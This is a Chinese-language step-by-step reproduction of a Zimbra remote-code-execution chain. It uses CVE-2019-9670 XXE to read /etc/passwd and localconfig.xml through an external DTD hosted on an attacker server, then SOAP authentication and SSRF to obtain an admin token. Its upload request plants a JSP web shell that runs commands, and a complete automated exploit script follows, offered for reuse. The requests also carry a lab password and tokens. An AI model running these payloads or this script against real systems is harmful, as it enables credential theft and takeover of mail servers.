简介:
Zimbra 是一家提供专业的电子邮件软件开发供应商,主要提供 Zimbra Collaboration Server 协作服务器套件、Zimbra Desktop 邮件管理软件等邮件方面的软件。
当 Zimbra 存在像任意文件读取、XXE(XML 外部实体注入) 这种漏洞时,攻击者可以利用此漏洞读取 localconfig.xml 配置文件,获取到 zimbra admin ldap password,并通过 7071 admin 端口进行 SOAP AuthRequest 认证,得到 admin authtoken,然后就可以利用 admin authtoken 进行任意文件上传,从而达到远程代码执行的危害。
影响范围:
Zimbra < 8.7.1 攻击者可以在无需登录的情况下,实现getshell
Zimbra<8.8.11 在服务端使用Memcached做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行
漏洞复现:
1.测试是否存在CVE-2019-9670 XXE漏洞
访问zimbra页面
请求以下数据包
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.161.131:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 346
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
可以发现成功读取到passwd文件内容,证明存在XXE漏洞
2.读取zimbra用户账号密码
接下来构造payload读zimbra的配文件localconfig.xml
由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
把上面复制到文件中命名为exp.dtd
开启http服务
接着请求以下数据包
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.161.131:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 407
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://公网服务器/dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
成功获取zimbra密码
3.利用获取到的密码获取低权限token
POST请求/service/soap或/service/admin/soap
POST /service/admin/soap HTTP/1.1
Host: 192.168.161.131:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 464
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>上一步得到密码</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
成功获取低权限token
4.利用SSRF漏洞通过proxy接口,访问admin的soap接口获取高权限Token
POST请求/service/proxy?target=https://127.0.0.1:7071/service/admin/soap
我这里可能环境有问题,没有使用SSRF直接请求/service/admin/soap即可获取高权限token
注意:
Host:后面加端口7071
Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token
发送同上Body内容,但是AuthRequest的xmlns要改为:urn:zimbraAdmin,否则获取的还是普通权限的Token
POST /service/admin/soap HTTP/1.1
Host: 192.168.161.131:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Cookie: ZM_ADMIN_AUTH_TOKEN=0_4673836ead2c1a627dea7932361ceb7b6b5afcc3_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637363634393538383434363b747970653d363a7a696d6272613b7469643d383a37313339373337363b
Content-Length: 462
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAdmin">
<account by="adminName">zimbra</account>
<password>b5BP1_mRA</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
成功获取高权限token
5.利用高权限token传文件getshell
import requests
file= {
'filename1':(None,"whocare",None),
'clientFile':("666.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"),
'requestId':(None,"12",None),
}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_a37395ebb85cbf5580500d7306f126ef521bded3_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637363532303137303638363b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3436363730383133393b",#改成自己的admin_token
"Host":"foo:7071"
}
r=requests.post("https://192.168.161.131:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)
print(r.text)
可以发现成功上传
这里访问需要携带cookie访问
自动化RCE脚本
这里推荐k8gege的脚本
https://github.com/k8gege/ZimbraExploit
可以自行更改shell
#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#upload file name and content
#modify by k8gege
#Connect "shell.jsp" using K8fly CmdShell
#Because the CMD parameter is encrypted using Base64(bypass WAF)
filename = "777.jsp"
fileContent = r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>'
print(base_url)
#dtd file url
dtd_url="http://xxx.xxx.xxx.xxx/exp.dtd"
"""
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
"""
xxe_data = r"""<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "{dtd}">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(dtd=dtd_url)
#XXE stage
headers = {
"Content-Type":"application/xml"
}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if 'response schema not available' not in r.text:
print("have no xxe")
exit()
#low_token Stage
import re
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
print(username)
print(password)
auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="{xmlns}">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
"""
print("[*] Get Low Privilege Auth Token")
r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
low_priv_token = pattern_auth_token.findall(r.text)[0]
#print(low_priv_token)
# SSRF+Get Admin_Token Stage
headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
print("[*] Get Admin Auth Token By SSRF")
r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)
f = {
'filename1':(None,"whocare",None),
'clientFile':(filename,fileContent,"text/plain"),
'requestId':(None,"12",None),
}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"
}
print("[*] Uploading file")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
#print(r.text)
print("Shell: "+base_url+"/downloads/"+filename)
#print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)")
print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
#print(r.text)
print("May need cookie:")
print(headers['Cookie'])
演示:
Comments NOTHING